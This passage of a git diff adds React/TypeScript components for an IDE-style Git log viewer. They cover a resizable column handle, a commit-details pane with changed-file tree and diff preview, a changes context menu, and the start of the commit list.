{!subject && (
|
||||
<span
|
||||
className={styles.columnResize}
|
||||
role="separator"
|
||||
aria-orientation="vertical"
|
||||
aria-label={tx`Resize ${tx(column.title)} column`}
|
||||
aria-valuemin={40}
|
||||
aria-valuemax={800}
|
||||
aria-valuenow={width}
|
||||
tabIndex={0}
|
||||
onPointerDown={(e) => {
|
||||
if (e.button !== 0) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
resizeDrag.current = {
|
||||
x: e.clientX,
|
||||
width,
|
||||
element: e.currentTarget,
|
||||
pointerId: e.pointerId,
|
||||
releaseCursor: lockDragCursor("ew-resize"),
|
||||
};
|
||||
e.currentTarget.setPointerCapture(e.pointerId);
|
||||
}}
|
||||
onPointerMove={(e) => {
|
||||
if (resizeDrag.current && e.currentTarget.hasPointerCapture(e.pointerId))
|
||||
resize(resizeDrag.current.width + e.clientX - resizeDrag.current.x);
|
||||
}}
|
||||
onPointerUp={(e) => {
|
||||
resizeDrag.current?.releaseCursor();
|
||||
resizeDrag.current = null;
|
||||
if (e.currentTarget.hasPointerCapture(e.pointerId)) e.currentTarget.releasePointerCapture(e.pointerId);
|
||||
}}
|
||||
onPointerCancel={() => {
|
||||
resizeDrag.current?.releaseCursor();
|
||||
resizeDrag.current = null;
|
||||
}}
|
||||
onLostPointerCapture={() => {
|
||||
resizeDrag.current?.releaseCursor();
|
||||
resizeDrag.current = null;
|
||||
}}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key !== "ArrowLeft" && e.key !== "ArrowRight") return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (e.altKey)
|
||||
onMove(column.id, ids[index + (e.key === "ArrowLeft" ? -1 : 1)] ?? null, e.key === "ArrowRight");
|
||||
else resize(width + (e.key === "ArrowLeft" ? -10 : 10));
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,578 @@
|
||||
import type { ChangedFile, Commit } from "@/bindings";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { setContext } from "@/platform/context";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
import { useWorkflowSettings } from "@/platform/workflowSettings";
|
||||
import {
|
||||
EmptyState,
|
||||
Icon,
|
||||
IconButton,
|
||||
Spinner,
|
||||
SplitGroup,
|
||||
SplitHandle,
|
||||
SplitPanel,
|
||||
T,
|
||||
Tree,
|
||||
fileIconName,
|
||||
lazyComponent,
|
||||
showContextMenu,
|
||||
type MenuItem,
|
||||
type TreeHandle,
|
||||
} from "@/ui";
|
||||
import { maybeEditorService, type EditorInput } from "@/workbench/contributions";
|
||||
import {
|
||||
useCallback,
|
||||
useContext,
|
||||
useEffect,
|
||||
useLayoutEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
type MouseEvent as ReactMouseEvent,
|
||||
} from "react";
|
||||
import { DIFF_KIND, diffInput, vcsDiffInFront } from "../diffInput";
|
||||
import { buildFileTree, dirKeys, type FileTreeNode } from "../fileTree";
|
||||
import styles from "../GitLog.module.css";
|
||||
import {
|
||||
absolutePath,
|
||||
filesUnder,
|
||||
flatFileNodes,
|
||||
showChangesDiff,
|
||||
toLogChanges,
|
||||
useLogChanges,
|
||||
withLineStats,
|
||||
type LogChange,
|
||||
} from "../logChanges";
|
||||
import { LogIdContext } from "../logContext";
|
||||
import { logOptions, useLogOptions } from "../logOptions";
|
||||
import { openLogTab, updateLogOptions, useGitLog } from "../logStore";
|
||||
import { KIND_COLOR, dirName, fileCount, renameFrom, type EffectiveKind } from "../model";
|
||||
import { commitKey, commitRepo } from "../multiRoot";
|
||||
import { currentRepo, repoName } from "../store";
|
||||
import { CommitMessage } from "./CommitMessage";
|
||||
import { useDropdownMenu, useReadOnlyLog } from "./logHooks";
|
||||
import { toggle } from "./shared";
|
||||
|
||||
const LogMergePreview = lazyComponent(() => import("../GitMergeDiff").then((m) => m.GitMergeDiff));
|
||||
|
||||
const LogDiffPreview = lazyComponent(() => import("../DiffEditor").then((m) => m.DiffEditor));
|
||||
|
||||
/** Keyboard moves through several files quickly: preview the one the selection settles on. */
|
||||
const PREVIEW_DELAY = 120;
|
||||
|
||||
function fileNodeAt<F>(nodes: readonly FileTreeNode<F>[], key: string): FileTreeNode<F> | null {
|
||||
for (const n of nodes) {
|
||||
if (n.key === key) return n.file ? n : null;
|
||||
if (!n.file) {
|
||||
const hit = fileNodeAt(n.children, key);
|
||||
if (hit) return hit;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The selected commits' changes: one commit's files against its first parent, or, for several
|
||||
* (IDEA), their combined changes with every selected commit listed below.
|
||||
*/
|
||||
export function CommitDetails({ commits }: { commits: Commit[] }) {
|
||||
const scope = useContext(LogIdContext);
|
||||
const [menuBelow, dropdown] = useDropdownMenu();
|
||||
const shown = useGitLog((s) => s.shownLog);
|
||||
const active = !scope || scope === shown;
|
||||
const readOnly = useReadOnlyLog();
|
||||
const selected = useGitLog((s) => s.selected);
|
||||
const selection = useGitLog((s) => s.selection);
|
||||
// Newest first (log order).
|
||||
const chosen = useMemo(() => {
|
||||
const ids = new Set(selection);
|
||||
return commits.filter((c) => ids.has(commitKey(c)));
|
||||
}, [commits, selection]);
|
||||
const commit = selected ? commits.find((c) => commitKey(c) === selected) : undefined;
|
||||
const many = chosen.length > 1;
|
||||
const idsKey = chosen.map(commitKey).join(" ");
|
||||
const commitRoot = commit ? commitRepo(commit) : null;
|
||||
const [result, setResult] = useState<{
|
||||
key: string;
|
||||
files: LogChange[] | null;
|
||||
error: string | null;
|
||||
} | null>(null);
|
||||
const [expanded, setExpanded] = useState<Set<string> | null>(null);
|
||||
const [parentIndex, setParentIndex] = useState(-1);
|
||||
const fromParents = useLogOptions((s) => s.changesFromParents);
|
||||
const onlyAffected = useLogOptions((s) => s.showOnlyAffected);
|
||||
const preview = useLogOptions((s) => s.diffPreview);
|
||||
const savedLocation = useLogOptions((s) => s.diffLocation);
|
||||
// The modal commit interface keeps diffs out of editor tabs (#1863): the "Editor"
|
||||
// preview shows beside the changes instead.
|
||||
const modal = useWorkflowSettings((s) => !s.vcs.commit.nonModal);
|
||||
const diffLocation = modal && savedLocation === "editor" ? "right" : savedLocation;
|
||||
const showLineStats = useLogOptions((s) => s.showLineStats);
|
||||
const filters = useGitLog((s) => s.filters);
|
||||
const filesKey = JSON.stringify([idsKey, fromParents, parentIndex, commitRoot, showLineStats]);
|
||||
const files = result?.key === filesKey ? result.files : null;
|
||||
const error = result?.key === filesKey ? result.error : null;
|
||||
|
||||
useEffect(() => {
|
||||
if (!idsKey) return;
|
||||
let alive = true;
|
||||
const load = (async () => {
|
||||
if (many) {
|
||||
const roots = [...new Set(chosen.map(commitRepo))];
|
||||
return (
|
||||
await Promise.all(
|
||||
roots.map(async (repo) => {
|
||||
const group = chosen.filter((c) => commitRepo(c) === repo);
|
||||
const files = await call(
|
||||
commands.vcsCommitsChanges(repo ?? currentRepo(), group.map((c) => c.id).reverse()),
|
||||
);
|
||||
return toLogChanges(files, null, repo, readOnly);
|
||||
}),
|
||||
)
|
||||
).flat();
|
||||
}
|
||||
const c = chosen[0]!;
|
||||
if (c.parents.length > 1) {
|
||||
const groups = await Promise.all(
|
||||
c.parents.map(async (id, index) => {
|
||||
const files = await call(commands.vcsDiffRevisions(commitRoot ?? currentRepo(), id, c.id));
|
||||
return toLogChanges(files, { ...c, parents: [id] }, commitRoot, readOnly).map((f) => ({
|
||||
...f,
|
||||
group: `${tx("Parent")} ${index + 1}: ${id.slice(0, 8)}`,
|
||||
}));
|
||||
}),
|
||||
);
|
||||
if (fromParents) return parentIndex < 0 ? groups.flat() : (groups[parentIndex] ?? []);
|
||||
// A merge's combined changes are files changed against every parent.
|
||||
return groups[0]!
|
||||
.filter((f) => groups.every((group) => group.some((x) => x.path === f.path)))
|
||||
.map((f) => ({
|
||||
...f,
|
||||
group: undefined,
|
||||
mergeParents: c.parents
|
||||
.slice(0, 2)
|
||||
.map((rev, i) => ({ rev, path: groups[i]!.find((x) => x.path === f.path)?.oldPath ?? f.path })),
|
||||
}));
|
||||
}
|
||||
const files = await call(commands.vcsCommitFiles(commitRoot ?? currentRepo(), c.id));
|
||||
return toLogChanges(files, c, commitRoot, readOnly);
|
||||
})();
|
||||
load
|
||||
.then((files) => (showLineStats ? withLineStats(files).catch(() => files) : files))
|
||||
.then((files) => alive && setResult({ key: filesKey, files, error: null }))
|
||||
.catch(
|
||||
(e) => alive && setResult({ key: filesKey, files: null, error: e instanceof Error ? e.message : String(e) }),
|
||||
);
|
||||
return () => {
|
||||
alive = false;
|
||||
};
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [idsKey, fromParents, parentIndex, commitRoot, filesKey, many, readOnly, showLineStats]);
|
||||
|
||||
const groupByDirectory = useLogOptions((s) => s.groupByDirectory);
|
||||
const [selectedKeys, setSelectedKeys] = useState<ReadonlySet<string>>(() => new Set());
|
||||
const treeRef = useRef<TreeHandle>(null);
|
||||
const [diffToReveal, setDiffToReveal] = useState<{ key: string } | null>(null);
|
||||
const syncingDiff = useRef(false);
|
||||
const changes = useMemo(() => {
|
||||
const changes = files ?? [];
|
||||
const paths = filters.paths?.length ? filters.paths : filters.path ? [filters.path] : [];
|
||||
return onlyAffected && paths.length
|
||||
? changes.filter((c) =>
|
||||
paths.some((p) => {
|
||||
const matches = (rel: string) => {
|
||||
const abs = absolutePath(rel, c.repo);
|
||||
return abs === p || abs.startsWith(`${p}/`) || (!many && commit?.historyPath === rel);
|
||||
};
|
||||
return matches(c.path) || (c.oldPath != null && matches(c.oldPath));
|
||||
}),
|
||||
)
|
||||
: changes;
|
||||
}, [files, commit, many, filters.path, filters.paths, onlyAffected]);
|
||||
const lineTotals = useMemo(() => {
|
||||
if (!showLineStats || !changes.length) return null;
|
||||
if (changes.some((f) => f.added === undefined || f.removed === undefined)) return null;
|
||||
return changes.reduce((sum, f) => ({ added: sum.added + f.added!, removed: sum.removed + f.removed! }), {
|
||||
added: 0,
|
||||
removed: 0,
|
||||
});
|
||||
}, [changes, showLineStats]);
|
||||
const multipleRoots = new Set(chosen.map(commitRepo)).size > 1;
|
||||
const changeTreePath = useCallback(
|
||||
(f: LogChange) => `${multipleRoots ? `${repoName(f.repo ?? "")}/` : ""}${f.group ? `${f.group}/` : ""}${f.path}`,
|
||||
[multipleRoots],
|
||||
);
|
||||
const tree = useMemo(
|
||||
() => (groupByDirectory ? buildFileTree(changes, changeTreePath) : flatFileNodes(changes, changeTreePath)),
|
||||
[changes, groupByDirectory, changeTreePath],
|
||||
);
|
||||
const allDirs = useMemo(() => dirKeys(tree), [tree]);
|
||||
const ordered = useMemo(() => filesUnder(tree), [tree]);
|
||||
const chosenChanges = useMemo(() => filesUnder(tree, selectedKeys), [tree, selectedKeys]);
|
||||
|
||||
// Show Diff Preview: a single selected file follows into the editor's preview tab.
|
||||
const previewTimer = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);
|
||||
useEffect(() => {
|
||||
if (!active) clearTimeout(previewTimer.current);
|
||||
return () => clearTimeout(previewTimer.current);
|
||||
}, [active]);
|
||||
const previewSelection = (sel: ReadonlySet<string>) => {
|
||||
clearTimeout(previewTimer.current);
|
||||
if (syncingDiff.current || sel.size !== 1) return;
|
||||
// While the editor shows one of this pane's diffs, the selection walks it along (a click or
|
||||
// arrow key), as in the Commit window.
|
||||
const shown = maybeEditorService()?.activeInput?.();
|
||||
const following = shown?.kind === DIFF_KIND && ordered.some((c) => diffInput(c.diff).key === shown.key);
|
||||
if (!following && (!logOptions().diffPreview || logOptions().diffLocation !== "editor" || vcsDiffInFront())) return;
|
||||
const file = fileNodeAt(tree, [...sel][0]!)?.file;
|
||||
// A preview that cannot open (no editor yet, the file went away) is just skipped.
|
||||
if (file)
|
||||
previewTimer.current = setTimeout(() => void showChangesDiff([file], true).catch(() => undefined), PREVIEW_DELAY);
|
||||
};
|
||||
|
||||
// Follow only this pane's exact diff (path AND revisions); another commit or
|
||||
// Compare with Local must not move its selection. Never take focus from F7.
|
||||
useEffect(() => {
|
||||
const editor = maybeEditorService();
|
||||
const followDiff = (input: EditorInput | null) => {
|
||||
if (input?.kind !== DIFF_KIND) return;
|
||||
const change = ordered.find((c) => diffInput(c.diff).key === input.key);
|
||||
if (!change) return;
|
||||
clearTimeout(previewTimer.current);
|
||||
const rel = changeTreePath(change);
|
||||
setExpanded((current) => {
|
||||
const next = new Set(current ?? allDirs);
|
||||
for (const key of allDirs) if (rel.startsWith(key.slice(2) + "/")) next.add(key);
|
||||
return next;
|
||||
});
|
||||
setDiffToReveal({ key: `f:${rel}` });
|
||||
};
|
||||
followDiff(editor?.activeInput?.() ?? null);
|
||||
return editor?.onActiveInputChange?.(followDiff);
|
||||
}, [ordered, allDirs, changeTreePath]);
|
||||
|
||||
// Tree.reveal needs the expanded rows to have rendered. Suppress the reverse
|
||||
// preview update so it cannot reopen the diff and lose its requested chunk.
|
||||
useLayoutEffect(() => {
|
||||
if (!diffToReveal) return;
|
||||
syncingDiff.current = true;
|
||||
treeRef.current?.reveal(diffToReveal.key);
|
||||
syncingDiff.current = false;
|
||||
}, [diffToReveal]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!active) return;
|
||||
useLogChanges.setState({ commits: chosen, all: ordered, selected: chosenChanges });
|
||||
}, [chosen, ordered, chosenChanges, active]);
|
||||
useEffect(
|
||||
() => () => {
|
||||
if (!scope || useGitLog.getState().shownLog === scope)
|
||||
useLogChanges.setState({ commits: [], all: [], selected: [] });
|
||||
},
|
||||
[scope],
|
||||
);
|
||||
useEffect(() => () => setContext("vcsLogChangesFocus", false), []);
|
||||
|
||||
if (!commit)
|
||||
return (
|
||||
<div className={styles.details}>
|
||||
<EmptyState>
|
||||
<T>Select a commit to view changes</T>
|
||||
</EmptyState>
|
||||
</div>
|
||||
);
|
||||
|
||||
const openViewOptions = (e: ReactMouseEvent<HTMLElement>) =>
|
||||
menuBelow(e, [
|
||||
{ kind: "header", label: "Group By" },
|
||||
{ kind: "action", action: "vcs.log.changes.groupByDirectory" },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.changes.diffPreview" },
|
||||
toggle("Show Only Affected Changes", logOptions(), "showOnlyAffected"),
|
||||
toggle("Show lines added and deleted", logOptions(), "showLineStats"),
|
||||
toggle("Show Changes from Parents", logOptions(), "changesFromParents"),
|
||||
{
|
||||
label: "Diff Preview Location",
|
||||
submenu: (["editor", "right", "bottom"] as const).map((location) => ({
|
||||
label: location === "editor" ? "Editor" : location === "right" ? "Right" : "Bottom",
|
||||
checked: savedLocation === location,
|
||||
run: () => updateLogOptions({ diffLocation: location }),
|
||||
})),
|
||||
},
|
||||
]);
|
||||
|
||||
const onFileMenu = (node: FileTreeNode<LogChange> | null, sel: ReadonlySet<string>, e: ReactMouseEvent) => {
|
||||
if (!node) return;
|
||||
const target = sel.has(node.key) ? filesUnder(tree, sel) : filesUnder([node]);
|
||||
if (!target.length) return;
|
||||
e.preventDefault();
|
||||
showContextMenu(e, changesMenu(target));
|
||||
};
|
||||
|
||||
const details = (
|
||||
<SplitGroup orientation="vertical" id="git-log-details" storageKey="openidea.vcs.logDetailsSplit">
|
||||
<SplitPanel id="files" defaultSize="60%" minSize="60px">
|
||||
<div
|
||||
className={styles.filesPane}
|
||||
onFocusCapture={() => setContext("vcsLogChangesFocus", true)}
|
||||
onBlurCapture={(e) => {
|
||||
if (!e.currentTarget.contains(e.relatedTarget as Node | null)) setContext("vcsLogChangesFocus", false);
|
||||
}}
|
||||
>
|
||||
<div className={styles.detailsBar} role="toolbar" aria-label={tx("Changed files")}>
|
||||
<IconButton
|
||||
icon="diff"
|
||||
size="small"
|
||||
title="Show Diff"
|
||||
action="vcs.log.changes.showDiff"
|
||||
actionArg={chosenChanges}
|
||||
disabled={!chosenChanges.length}
|
||||
/>
|
||||
<IconButton
|
||||
icon="revert"
|
||||
size="small"
|
||||
title="Revert Selected Changes"
|
||||
action="vcs.log.changes.revert"
|
||||
actionArg={chosenChanges}
|
||||
disabled={readOnly || !chosenChanges.length || new Set(chosenChanges.map((c) => c.repo)).size > 1}
|
||||
/>
|
||||
<IconButton icon="eye" title="View Options" size="small" aria-haspopup="menu" onClick={openViewOptions} />
|
||||
{!many && fromParents && commit.parents.length > 1 && (
|
||||
<button
|
||||
type="button"
|
||||
className={styles.filterMain}
|
||||
onClick={(e) =>
|
||||
menuBelow(e, [
|
||||
{ label: tx("All Parents"), checked: parentIndex < 0, run: () => setParentIndex(-1) },
|
||||
...commit.parents.map((id, index) => ({
|
||||
label: `${tx("Parent")} ${index + 1}: ${id.slice(0, 8)}`,
|
||||
checked: index === parentIndex,
|
||||
run: () => setParentIndex(index),
|
||||
})),
|
||||
])
|
||||
}
|
||||
>
|
||||
{parentIndex < 0 ? tx("All Parents") : `${tx("Parent")} ${parentIndex + 1}`}
|
||||
</button>
|
||||
)}
|
||||
<span className={styles.detailsCount}>
|
||||
{files ? fileCount(changes.length) : ""}
|
||||
{many ? " " + tx`in ${chosen.length} commits` : ""}
|
||||
</span>
|
||||
{lineTotals && <LineStats added={lineTotals.added} removed={lineTotals.removed} />}
|
||||
<span className={styles.grow} />
|
||||
<IconButton
|
||||
icon="expand-all"
|
||||
title="Expand All"
|
||||
size="small"
|
||||
disabled={!allDirs.length}
|
||||
onClick={() => setExpanded(new Set(allDirs))}
|
||||
/>
|
||||
<IconButton
|
||||
icon="collapse-all"
|
||||
title="Collapse All"
|
||||
size="small"
|
||||
disabled={!allDirs.length}
|
||||
onClick={() => setExpanded(new Set())}
|
||||
/>
|
||||
</div>
|
||||
{error && <div className={styles.message}>{error}</div>}
|
||||
{!files && !error && (
|
||||
<div className={styles.message}>
|
||||
<Spinner size={12} />
|
||||
</div>
|
||||
)}
|
||||
{files && (
|
||||
<Tree<FileTreeNode<LogChange>>
|
||||
handleRef={treeRef}
|
||||
roots={tree}
|
||||
getKey={(n) => n.key}
|
||||
getLabel={(n) => n.name}
|
||||
getChildren={(n) => (n.file ? undefined : n.children)}
|
||||
isExpandable={(n) => !n.file}
|
||||
expanded={expanded ?? new Set(allDirs)}
|
||||
onExpandedChange={(next) => setExpanded(next)}
|
||||
selected={selectedKeys}
|
||||
onSelectionChange={(sel) => {
|
||||
setSelectedKeys(sel);
|
||||
previewSelection(sel);
|
||||
}}
|
||||
renderNode={(n) => <ChangedFileRow node={n} flat={!groupByDirectory} />}
|
||||
onActivate={(n) => n.file && void showChangesDiff([n.file])}
|
||||
onJumpToSource={(n, sel) => {
|
||||
const files = sel.has(n.key) ? filesUnder(tree, sel) : filesUnder([n]);
|
||||
void executeAction("vcs.log.changes.jumpToSource", files);
|
||||
}}
|
||||
onContextMenu={onFileMenu}
|
||||
aria-label="Changed files"
|
||||
className={styles.fileTree}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</SplitPanel>
|
||||
<SplitHandle />
|
||||
<SplitPanel id="message" minSize="60px">
|
||||
<div className={styles.messageBox}>
|
||||
{many ? (
|
||||
chosen.map((c) => <CommitMessage key={commitKey(c)} commit={c} compact />)
|
||||
) : (
|
||||
<CommitMessage commit={commit} />
|
||||
)}
|
||||
</div>
|
||||
</SplitPanel>
|
||||
</SplitGroup>
|
||||
);
|
||||
const embedded = preview && diffLocation !== "editor";
|
||||
const selectedChange = chosenChanges.length === 1 ? chosenChanges[0] : undefined;
|
||||
return (
|
||||
<div className={styles.details}>
|
||||
{dropdown}
|
||||
{embedded ? (
|
||||
<SplitGroup
|
||||
orientation={diffLocation === "right" ? "horizontal" : "vertical"}
|
||||
id={`git-log-preview-${diffLocation}`}
|
||||
storageKey={`openidea.vcs.logPreviewSplit.${diffLocation}`}
|
||||
>
|
||||
<SplitPanel id="changes" defaultSize="55%" minSize="20%">
|
||||
{details}
|
||||
</SplitPanel>
|
||||
<SplitHandle />
|
||||
<SplitPanel id="preview" minSize="20%">
|
||||
{selectedChange ? (
|
||||
selectedChange.mergeParents?.length === 2 && selectedChange.after ? (
|
||||
<LogMergePreview
|
||||
input={{
|
||||
kind: "git-merge-diff",
|
||||
key: `git-merge-diff:${selectedChange.repo}:${selectedChange.after}:${selectedChange.path}`,
|
||||
data: {
|
||||
repo: selectedChange.repo,
|
||||
revision: selectedChange.after,
|
||||
path: selectedChange.path,
|
||||
parents: selectedChange.mergeParents,
|
||||
},
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<LogDiffPreview key={diffInput(selectedChange.diff).key} input={diffInput(selectedChange.diff)} />
|
||||
)
|
||||
) : (
|
||||
<EmptyState>
|
||||
<T>Select a file to preview its changes</T>
|
||||
</EmptyState>
|
||||
)}
|
||||
</SplitPanel>
|
||||
</SplitGroup>
|
||||
) : (
|
||||
details
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** IDEA's changes browser context menu in the Git Log; `changes` = the files it acts on. */
|
||||
export function changesMenu(changes: LogChange[]): MenuItem[] {
|
||||
const one = changes.length === 1 ? changes[0]! : null;
|
||||
return [
|
||||
{ kind: "action", action: "vcs.log.changes.showDiff", arg: changes },
|
||||
{ kind: "action", action: "vcs.log.changes.compareWithLocal", arg: changes, disabled: !one?.after || one.readOnly },
|
||||
{
|
||||
kind: "action",
|
||||
action: "vcs.log.changes.compareBeforeWithLocal",
|
||||
arg: changes,
|
||||
disabled: !one?.before || one.readOnly,
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{
|
||||
kind: "action",
|
||||
action: "vcs.log.changes.jumpToSource",
|
||||
arg: changes,
|
||||
disabled: !changes.some((c) => c.after && !c.readOnly),
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{
|
||||
kind: "action",
|
||||
action: "vcs.log.changes.revert",
|
||||
arg: changes,
|
||||
disabled: changes.some((c) => c.readOnly) || new Set(changes.map((c) => c.repo)).size > 1,
|
||||
},
|
||||
{
|
||||
kind: "action",
|
||||
action: "vcs.log.changes.getFromRevision",
|
||||
arg: changes,
|
||||
disabled: changes.some((c) => c.readOnly),
|
||||
},
|
||||
{ kind: "separator" },
|
||||
...(one?.readOnly
|
||||
? [{ label: "Show History for File", run: () => openLogTab("history", absolutePath(one.path, one.repo)) }]
|
||||
: [
|
||||
{
|
||||
kind: "action",
|
||||
action: "vcs.showHistory",
|
||||
arg: one ? absolutePath(one.path, one.repo) : undefined,
|
||||
disabled: !one?.after,
|
||||
} satisfies MenuItem,
|
||||
]),
|
||||
];
|
||||
}
|
||||
|
||||
function lineCount(file: ChangedFile | LogChange): { added: number; removed: number } | null {
|
||||
if (!("added" in file) || typeof file.added !== "number" || typeof file.removed !== "number") return null;
|
||||
return { added: file.added, removed: file.removed };
|
||||
}
|
||||
|
||||
/** Sum of a directory once every file under it has counts; otherwise the row stays without them. */
|
||||
function nodeLineCount(node: FileTreeNode<ChangedFile | LogChange>): { added: number; removed: number } | null {
|
||||
if (node.file) return lineCount(node.file);
|
||||
let added = 0;
|
||||
let removed = 0;
|
||||
for (const child of node.children) {
|
||||
const count = nodeLineCount(child);
|
||||
if (!count) return null;
|
||||
added += count.added;
|
||||
removed += count.removed;
|
||||
}
|
||||
return node.children.length ? { added, removed } : null;
|
||||
}
|
||||
|
||||
function LineStats({ added, removed }: { added: number; removed: number }) {
|
||||
return (
|
||||
<span className={styles.lineStats}>
|
||||
<span className={styles.lineAdded} aria-label={added === 1 ? tx`${added} line added` : tx`${added} lines added`}>
|
||||
+{added}
|
||||
</span>
|
||||
<span
|
||||
className={styles.lineRemoved}
|
||||
aria-label={removed === 1 ? tx`${removed} line deleted` : tx`${removed} lines deleted`}
|
||||
>
|
||||
−{removed}
|
||||
</span>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function ChangedFileRow({ node, flat = false }: { node: FileTreeNode<ChangedFile | LogChange>; flat?: boolean }) {
|
||||
const stats = nodeLineCount(node);
|
||||
if (!node.file)
|
||||
return (
|
||||
<span className={styles.fileRow}>
|
||||
<Icon name="folder" size={16} className={styles.fileIcon} />
|
||||
<span className={styles.fileName}>{node.name}</span>
|
||||
<span className={styles.fileDir}>{fileCount(node.count)}</span>
|
||||
{stats && <LineStats added={stats.added} removed={stats.removed} />}
|
||||
</span>
|
||||
);
|
||||
const f = node.file;
|
||||
const kind: EffectiveKind = f.kind === "untracked" ? "added" : f.kind;
|
||||
return (
|
||||
<span className={styles.fileRow} title={f.oldPath ? `${f.oldPath} → ${f.path}` : f.path}>
|
||||
<Icon name={fileIconName(node.name)} size={16} className={styles.fileIcon} />
|
||||
<span className={styles.fileName} style={{ color: KIND_COLOR[kind] }}>
|
||||
{node.name}
|
||||
</span>
|
||||
{flat && dirName(f.path) && <span className={styles.fileDir}>{dirName(f.path)}</span>}
|
||||
{f.oldPath && <span className={styles.fileDir}>{renameFrom(f.path, f.oldPath)}</span>}
|
||||
{stats && <LineStats added={stats.added} removed={stats.removed} />}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,634 @@
|
||||
import type { Commit } from "@/bindings";
|
||||
import { setContext } from "@/platform/context";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
import { Scrollbar, Spinner, T, hideNativeScrollbar } from "@/ui";
|
||||
import { useGitLogChecks } from "@/workbench/contributions";
|
||||
import { useVirtualizer } from "@tanstack/react-virtual";
|
||||
import clsx from "clsx";
|
||||
import {
|
||||
useCallback,
|
||||
useContext,
|
||||
useEffect,
|
||||
useLayoutEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
type KeyboardEvent,
|
||||
type MouseEvent as ReactMouseEvent,
|
||||
} from "react";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { reachableFrom } from "../graph";
|
||||
import { LogIdContext } from "../logContext";
|
||||
import { loadLogDetails } from "../logDetails";
|
||||
import { useLogOptions } from "../logOptions";
|
||||
import { presentLogGraph } from "../logPresentation";
|
||||
import { nextSpeedMatch } from "../logSearch";
|
||||
import {
|
||||
PAGE,
|
||||
extendCommitSelection,
|
||||
goToChild,
|
||||
goToParent,
|
||||
goToRef,
|
||||
isMine,
|
||||
loadMore,
|
||||
loadNewer,
|
||||
selectCommit,
|
||||
toggleCommitSelection,
|
||||
useGitLog,
|
||||
} from "../logStore";
|
||||
import { formatTime } from "../model";
|
||||
import { commitKey, commitRepo, graphCommit, type RepoCommit } from "../multiRoot";
|
||||
import { currentRepo, currentRepoRoot, useVcs } from "../store";
|
||||
import { ColumnHeaders } from "./ColumnHeaders";
|
||||
import { CommitSignature } from "./CommitMessage";
|
||||
import { CommitRow } from "./CommitRow";
|
||||
import { LANE, ROW, type LogColumn, type RowEvents } from "./shared";
|
||||
|
||||
const remoteNameSets = new WeakMap<readonly string[], ReadonlySet<string>>();
|
||||
|
||||
/** A commit's own remote names (multi-root logs) as one set per array, else the shared one. */
|
||||
function rowRemoteNames(own: readonly string[] | undefined, shared: ReadonlySet<string>): ReadonlySet<string> {
|
||||
if (!own) return shared;
|
||||
let set = remoteNameSets.get(own);
|
||||
if (!set) remoteNameSets.set(own, (set = new Set(own)));
|
||||
return set;
|
||||
}
|
||||
|
||||
export function CommitList() {
|
||||
const scope = useContext(LogIdContext);
|
||||
const shown = useGitLog((s) => s.shownLog);
|
||||
const active = !scope || scope === shown;
|
||||
const all = useGitLog((s) => s.commits);
|
||||
const selection = useGitLog((s) => s.selection);
|
||||
const fileHistoryTarget = useGitLog((s) => {
|
||||
const id = scope ?? s.shownLog;
|
||||
const tab = s.logTabs.find((t) => t.id === id);
|
||||
return tab?.kind === "history" ? tab.target : null;
|
||||
});
|
||||
const earlier = useMemo(() => {
|
||||
const seen = new Set<string | null | undefined>();
|
||||
return all.some((c) => {
|
||||
const repo = commitRepo(c);
|
||||
if (seen.has(repo)) return false;
|
||||
seen.add(repo);
|
||||
return (c.logPosition ?? 0) > 0;
|
||||
});
|
||||
}, [all]);
|
||||
const opts = useLogOptions();
|
||||
const ChecksCell = useGitLogChecks((s) => s.cell);
|
||||
const bookmarks = useGitLog((s) => s.bookmarks);
|
||||
const fragments = useGitLog((s) => s.fragments);
|
||||
const { expanded: expandedFragments, collapsed: collapsedFragments, merges: expandedMerges } = fragments;
|
||||
const [hoverColor, setHoverColor] = useState<string | null>(null);
|
||||
const [boundaryTitles, setBoundaryTitles] = useState<ReadonlyMap<string, string>>(() => new Map());
|
||||
const boundaryRequests = useRef(new Set<string>());
|
||||
const [speedSearch, setSpeedSearch] = useState("");
|
||||
const speedGeneration = useRef(0);
|
||||
const speedTimer = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);
|
||||
useEffect(() => () => clearTimeout(speedTimer.current), []);
|
||||
useEffect(() => () => setContext("vcsLogRevisionFocus", false), []);
|
||||
const columns = useMemo(() => {
|
||||
const builtins: LogColumn[] = [
|
||||
...(opts.showAuthor ? [{ id: "author", title: "Author", width: 130, render: (c: Commit) => c.author }] : []),
|
||||
...(opts.showDate
|
||||
? [
|
||||
{
|
||||
id: "date",
|
||||
title: "Date",
|
||||
// Fits a 12-hour date and time ("11/05/2026 02:30 PM", "Yesterday 09:07 AM").
|
||||
width: 140,
|
||||
render: (c: Commit) => formatTime(opts.commitTimestamp ? (c.commitTimeMs ?? c.timeMs) : c.timeMs),
|
||||
},
|
||||
]
|
||||
: []),
|
||||
...(opts.showHash ? [{ id: "hash", title: "Hash", width: 72, render: (c: Commit) => c.shortId }] : []),
|
||||
...(opts.showSignature
|
||||
? [{ id: "signature", title: "Signature", width: 100, render: (c: Commit) => <CommitSignature commit={c} /> }]
|
||||
: []),
|
||||
